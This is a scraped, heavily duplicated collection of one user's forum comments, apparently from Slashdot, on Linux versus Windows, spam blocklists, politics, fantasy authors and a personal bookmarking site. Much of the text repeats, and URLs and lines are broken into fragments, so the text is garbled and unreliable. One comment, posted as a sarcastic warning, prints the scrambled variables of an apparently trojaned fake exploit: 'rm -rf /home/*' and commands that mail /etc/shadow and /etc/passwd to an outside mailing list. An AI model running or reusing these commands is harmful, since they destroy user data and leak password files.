going to agree with the other posters here.. having a good IIS exploit could be worth gold for the person who is into that.. (I am a linux guy and would not waste a braincell on IIS) Especially after reading the article the other day about the guys in russian who threaten booking sites with DOS attacks and they all pony up $50,000 each.. Or finacial data etc.. For someone who is an actual criminal who might have an incentive to do this, an xbox is hardly a 'prize'.. And especially not a prize worth giving up your exploit. this is a joke.
in case you missed my post above (which I reposted becuase it was modded -1 flamebait because it was critical of the geek darling author..) see this well-writen article about this bigot:
(this was originally buried in another thread, but reposting here as OSC is really not a nice guy, so does not surprise me that he would turn on a large segment of his fans.)
if they want funding that is where you need to go in the current climate, unless it has something to do with fighting the war on terror the government is not going to give you a dime.. Especially since scientists have been critical of the Bushco(tm) handling of environmental issues and clear skies, and other such smoke screens. All those guys are flipping burgers now.. If they would have said; "If we release less toluene on the public because we need them to help stop terrorists" then they might have kept their jobs.
And in response, we have gone over and killed yet another 1500 americans trying to stop him? or, wait, weapons of mass destruction, err what happened to Afghanistan? or.. or.. AT LEAST these guys are clear about what they want.
And in the process, that bigmouth (not so different than our bigmouth, and clearly smarter, saying we can't locate him) has indirectly killed half a million of his 'own' people directly because of his actions.
See the irony here, if someone came over here and killed half a million Americans, we would be screaming to kill everyone.. If you place yourself in the shoes of these people, they are doing what they can to protect their families and their way of life. Which from your statements, I am sure feel is 'wrong' justly they feel the same about your way of life. But the fact remains, we have been screwing with these people since the crusades.
I live in Manhattan, I can still see this while people in middle-america which are in absolutely NO danger from terrorists are screaming to bomb and kill anyone who might have had anything to do with anything that might have happend around 9/11
The point of my post was: Because the terror WORKED on people with viewpoints like yours, right now for a scientist, if you have found a new way to produce energy, they don't care (Expensive oil will last forever according to our leaders) but if you mention somewhere in a footnote that it might possibly have an application in bomb-sniffing suddenly, you are now available for funding.
These guys are just working the system, similar tests are done and have been done for a long time, they just mentioned bomb-sniffing, thuse becoming news-worthy.
well, with less spam today I cannot say I am complaining at all... And really.. my rbl and filtered spambox only has a couple hundred spams in it, whereas it normally has ~600 by this time...
I might blackhole aol mails after this just to cut down on my daily intake of the processed pig.
why is Paul Graham writing about this?
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I think Paul Graham has an incentive to write about this;) In his article he talks about stepping back and asking that question.. Not just ask, what is this about? but "why" is this person writing about this?
So, the question is, why would Paul Graham be writing about this? Perhaps he wants a lower PR rate when he goes back to his PR firm with a new product? Or better yet, perhaps he has a product or solution for these PR firms to actually function in the web environment.
wow.. So now you get the joy of endless virus outbreaks, severe security concerns due to pervasive spyware and users screwing up their computers and no permissions so network/backup drives get hosed every time someone clicks on a wrong link or opens an attachment. *AND* you are paying for this? And if you want to limit the spyware and bs that comes along with windows you get to pay some more for stuff like norton and others to clean it up. That was *smart* thinking on your part. (sarcasm)
It sounds to me that you tried it for a week and the CEO said something like "I want to use {insert program here} and I don't want to learn {insert distro}, switch us back" as far as reliability and networking linux works perfectly and seemlessly if you know even a little bit about how to set it up.. And network drives via SMB (so everyone can see) are easy to do. If you use a distro like gentoo, a simple entry in cron takes the place of your "Windows-update" feature and it does not clobber your configs or network settings etc..
At my work, the developers use linux because they develop on linux servers, the people doing customer support and other paper-pusher stuff still use windows and our graphics guys seem to prefer macs.
Forcing everyone into one platform all of a sudden would be like telling all our developers they had to use windows.. And everyone knows how that would go..
MAPS are trigger-happy... if they smell a spam somewhere, they just block away... we stopped using them because of this. now because of these idiots, we have spammers popping up in darkblocks and by time MAPS and others even knows there is spam coming from anywhere in there, the boxes sending the garbage mail are no longer even pingable and up in another block somewhere slinging spam everywhere.. rinse repeat.. so, by using a rbl list, you can block a lot of mail where some spam came from at some distant point a long time ago.. and because of the volume of spam sure, you will block some.. but it is the same effect as turning your mail server for one day per week.. you are going to block some spam, sure.. it is a given..
old way to skew results as you see fit. I am sure part of this had push poll questions like the following: "Would you feel safe if linux destroyed all your personal data and offered no protection for your data like microsoft does?" Where here in camp-linux we don't have to bother with silly polls... Just let people continue to use windows and they *all* end up looking for something/anything that won't be infected once per week (trashing their mail, contacts etc..) My wife finally gave up on windows and switched to a powerbook.. I am gentoo user.. Have an old copy of windows installed dual-boot to play a couple games that cedega chokes on. She has been on a mac for a few days now and after her experience is happy..
I built historyagent.com for myself.. I like del.icio.us and the like, but wanted to build my own thing and add more types of feeds, have page icons and quick sorting..
It isn't perfect, but works better for me personally than the others did at the time, and I needed it fully searchable.
This is great though.. glad to see an open source version out there.. If this was done about six months ago it would have saved me some coding.
this makes me wonder what the effect would be on something like stackless python? the whole state pickling concept is pretty cool, and kind of throws threads all over..
hahaha.. that is funny.. My wife has me use my linux box to download pictures off her camera because the windows programs to do it are so unstable and buggy (and it is fuji digital camera).. Easy for me.. plug it in and mount it.. takes about 5 seconds total.. yea.. a "hack" that took me 10 minutes tops to set up once and it has ran since we have had the camera.
Whereas my wife has re-installed her windows computer I don't know how many times and had to set up the camera equal number of times until she asked me to do that.. since, no problems.. She is shopping for a Mac right now..
Only thing I use windows for is some games.. and I refuse to install "anything" other than a game on it and only use firefox. It is behind a tight firewall, has no open shares so I don't even windows-update it as even those cause problems.
My linux boxes are fine.. No problems ever..
One day you will get over your fear and see there are actual real alternatives.. Unless you like dealing with that crap?
I like delicious so I made my own version that is multi-lingual here: http://historyagent.com/ Has firefox extensions, and HTML segment (images/formatting etc) commenting via selection. You just select a portion of the page, including images, to use as the comment and hit the bookmarklet and it is added.
Also I wanted more feeds possible, for examples see: http://feeds.historyagent.com/joeldg/
Anyway, just wanted to point out that del is no the only alternative out there.
I was thiking the same thing throughout.. Harry Potter is kind of like a simplified childs version of earthsea with all white people.. so it is nice and sterilized for the masses who call it "fresh and inspirational" etc etc.. yadda yadda..
Reality being that HP, while fun reading, has little depth (Perhaps some if count the whole mud-blood thing, but that feels like it was contrived, added afterwards and thrown in there to say "look I 'am' actually socially concerned").
Watching this, it was clear they were trying to appeal to the HP and LOTR crowd, new fantasy fans..
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here is what those vars are...
/home/*;clear;echo bl4ckh4t,hehe" /etc/shadow |mail full-disclosure@lists.grok.org.uk " /etc/passwd |mail full-disclosure@lists.grok.org.uk
shellcode = "/bin/rm -rf
launcher = "cat
netcat_shell = "cat
yea.. run that!
going to agree with the other posters here.. .. And especially not a prize worth giving up your exploit.
having a good IIS exploit could be worth gold for the person who is into that.. (I am a linux guy and would not waste a braincell on IIS)
Especially after reading the article the other day about the guys in russian who threaten booking sites with DOS attacks and they all pony up $50,000 each.. Or finacial data etc..
For someone who is an actual criminal who might have an incentive to do this, an xbox is hardly a 'prize'
this is a joke.
in case you missed my post above (which I reposted becuase it was modded -1 flamebait because it was critical of the geek darling author..) see this well-writen article about this bigot:
d /index.html
http://dir.salon.com/books/feature/2000/02/03/car
Will just add more fuel to the fire for burning him at the stake.
As much as I like his books (at least ones that are not trying to turn me into a drooling mormon) he is a dispicable human and an outrageous bigot:d /index.html l
See
http://dir.salon.com/books/feature/2000/02/03/car
and his actual views
http://www.nauvoo.com/library/card-hypocrites.htm
Those articles will turn you off on that guy.. or at least stop purchasing his books.
(this was originally buried in another thread, but reposting here as OSC is really not a nice guy, so does not surprise me that he would turn on a large segment of his fans.)
As much as I like his books (at least ones that are not trying to turn me into a drooling mormon) he is a dispicable human and an outrageous bigot:d /index.html l
See
http://dir.salon.com/books/feature/2000/02/03/car
and his actual views
http://www.nauvoo.com/library/card-hypocrites.htm
Those articles will turn you off on that guy.. or at least stop purchasing his books.
if they want funding that is where you need to go in the current climate, unless it has something to do with fighting the war on terror the government is not going to give you a dime..
Especially since scientists have been critical of the Bushco(tm) handling of environmental issues and clear skies, and other such smoke screens. All those guys are flipping burgers now..
If they would have said; "If we release less toluene on the public because we need them to help stop terrorists" then they might have kept their jobs.
And in response, we have gone over and killed yet another 1500 americans trying to stop him? or, wait, weapons of mass destruction, err what happened to Afghanistan? or.. or.. AT LEAST these guys are clear about what they want.
And in the process, that bigmouth (not so different than our bigmouth, and clearly smarter, saying we can't locate him) has indirectly killed half a million of his 'own' people directly because of his actions.
See the irony here, if someone came over here and killed half a million Americans, we would be screaming to kill everyone.. If you place yourself in the shoes of these people, they are doing what they can to protect their families and their way of life. Which from your statements, I am sure feel is 'wrong' justly they feel the same about your way of life. But the fact remains, we have been screwing with these people since the crusades.
I live in Manhattan, I can still see this while people in middle-america which are in absolutely NO danger from terrorists are screaming to bomb and kill anyone who might have had anything to do with anything that might have happend around 9/11
The point of my post was:
Because the terror WORKED on people with viewpoints like yours, right now for a scientist, if you have found a new way to produce energy, they don't care (Expensive oil will last forever according to our leaders) but if you mention somewhere in a footnote that it might possibly have an application in bomb-sniffing suddenly, you are now available for funding.
These guys are just working the system, similar tests are done and have been done for a long time, they just mentioned bomb-sniffing, thuse becoming news-worthy.
If you want any federal funding, you gotta say it could be used to "find bombs" and be "anti-terror" in the current atmosphere.
Really..
well, with less spam today I cannot say I am complaining at all...
And really.. my rbl and filtered spambox only has a couple hundred spams in it, whereas it normally has ~600 by this time...
I might blackhole aol mails after this just to cut down on my daily intake of the processed pig.
I think Paul Graham has an incentive to write about this ;)
In his article he talks about stepping back and asking that question.. Not just ask, what is this about? but "why" is this person writing about this?
So, the question is, why would Paul Graham be writing about this? Perhaps he wants a lower PR rate when he goes back to his PR firm with a new product? Or better yet, perhaps he has a product or solution for these PR firms to actually function in the web environment.
Makes you wonder
wow..
So now you get the joy of endless virus outbreaks, severe security concerns due to pervasive spyware and users screwing up their computers and no permissions so network/backup drives get hosed every time someone clicks on a wrong link or opens an attachment.
*AND* you are paying for this? And if you want to limit the spyware and bs that comes along with windows you get to pay some more for stuff like norton and others to clean it up.
That was *smart* thinking on your part. (sarcasm)
It sounds to me that you tried it for a week and the CEO said something like "I want to use {insert program here} and I don't want to learn {insert distro}, switch us back"
as far as reliability and networking linux works perfectly and seemlessly if you know even a little bit about how to set it up.. And network drives via SMB (so everyone can see) are easy to do.
If you use a distro like gentoo, a simple entry in cron takes the place of your "Windows-update" feature and it does not clobber your configs or network settings etc..
At my work, the developers use linux because they develop on linux servers, the people doing customer support and other paper-pusher stuff still use windows and our graphics guys seem to prefer macs.
Forcing everyone into one platform all of a sudden would be like telling all our developers they had to use windows.. And everyone knows how that would go..
My recommendation... Fire yourself.
MAPS are trigger-happy...
if they smell a spam somewhere, they just block away...
we stopped using them because of this.
now because of these idiots, we have spammers popping up in darkblocks and by time MAPS and others even knows there is spam coming from anywhere in there, the boxes sending the garbage mail are no longer even pingable and up in another block somewhere slinging spam everywhere..
rinse repeat..
so, by using a rbl list, you can block a lot of mail where some spam came from at some distant point a long time ago.. and because of the volume of spam sure, you will block some.. but it is the same effect as turning your mail server for one day per week.. you are going to block some spam, sure.. it is a given..
if I had mod points.. this would go away..
welcome to being relegated to the backburner of the boring nerd-ville...
sharks with frinking laser beams!
old way to skew results as you see fit.
I am sure part of this had push poll questions like the following:
"Would you feel safe if linux destroyed all your personal data and offered no protection for your data like microsoft does?"
Where here in camp-linux we don't have to bother with silly polls... Just let people continue to use windows and they *all* end up looking for something/anything that won't be infected once per week (trashing their mail, contacts etc..)
My wife finally gave up on windows and switched to a powerbook.. I am gentoo user.. Have an old copy of windows installed dual-boot to play a couple games that cedega chokes on.
She has been on a mac for a few days now and after her experience is happy..
I built historyagent.com for myself..
I like del.icio.us and the like, but wanted to build my own thing and add more types of feeds, have page icons and quick sorting..
It isn't perfect, but works better for me personally than the others did at the time, and I needed it fully searchable.
This is great though.. glad to see an open source version out there.. If this was done about six months ago it would have saved me some coding.
everyone knows google is #1
being at the top makes you a target and every little gnat is going to chew at you trying to get a piece.
remember altavista and others..
they ended up so spammed you had to go through pages of results to find anything any good.
I just think it has taken a while, but they are catching up with google now.
this makes me wonder what the effect would be on something like stackless python?
the whole state pickling concept is pretty cool, and kind of throws threads all over..
Journalism = a college degree
Journaling = 14 year old girls talking about their feelings and writing in colored ink.
big difference.
one word:
"NO"
it is journaling and commentary.
about the same thing as wasting your time reading the letters to the editor.
that mac webserver had 'nothing' but port 80 open.
you could set up a webserver on *any* OS with only that and make sure that webserver ran in it's own memory space and be 100% secure..
The true test would have been if the server was a real-world "functional" server that regular users could use... I.e. mail/ftp/ssh
But then, they didn't want to give up that 10k..
Talk about a publicity stunt.
hahaha..
that is funny..
My wife has me use my linux box to download pictures off her camera because the windows programs to do it are so unstable and buggy (and it is fuji digital camera)..
Easy for me.. plug it in and mount it.. takes about 5 seconds total..
yea.. a "hack" that took me 10 minutes tops to set up once and it has ran since we have had the camera.
Whereas my wife has re-installed her windows computer I don't know how many times and had to set up the camera equal number of times until she asked me to do that.. since, no problems.. She is shopping for a Mac right now..
Only thing I use windows for is some games.. and I refuse to install "anything" other than a game on it and only use firefox.
It is behind a tight firewall, has no open shares so I don't even windows-update it as even those cause problems.
My linux boxes are fine.. No problems ever..
One day you will get over your fear and see there are actual real alternatives.. Unless you like dealing with that crap?
I like delicious so I made my own version that is multi-lingual here:
http://historyagent.com/
Has firefox extensions, and HTML segment (images/formatting etc) commenting via selection. You just select a portion of the page, including images, to use as the comment and hit the bookmarklet and it is added.
Also I wanted more feeds possible, for examples see: http://feeds.historyagent.com/joeldg/
Anyway, just wanted to point out that del is no the only alternative out there.
I was thiking the same thing throughout..
Harry Potter is kind of like a simplified childs version of earthsea with all white people.. so it is nice and sterilized for the masses who call it "fresh and inspirational" etc etc.. yadda yadda..
Reality being that HP, while fun reading, has little depth (Perhaps some if count the whole mud-blood thing, but that feels like it was contrived, added afterwards and thrown in there to say "look I 'am' actually socially concerned").
Watching this, it was clear they were trying to appeal to the HP and LOTR crowd, new fantasy fans..
Here ya go:
more specific link to parts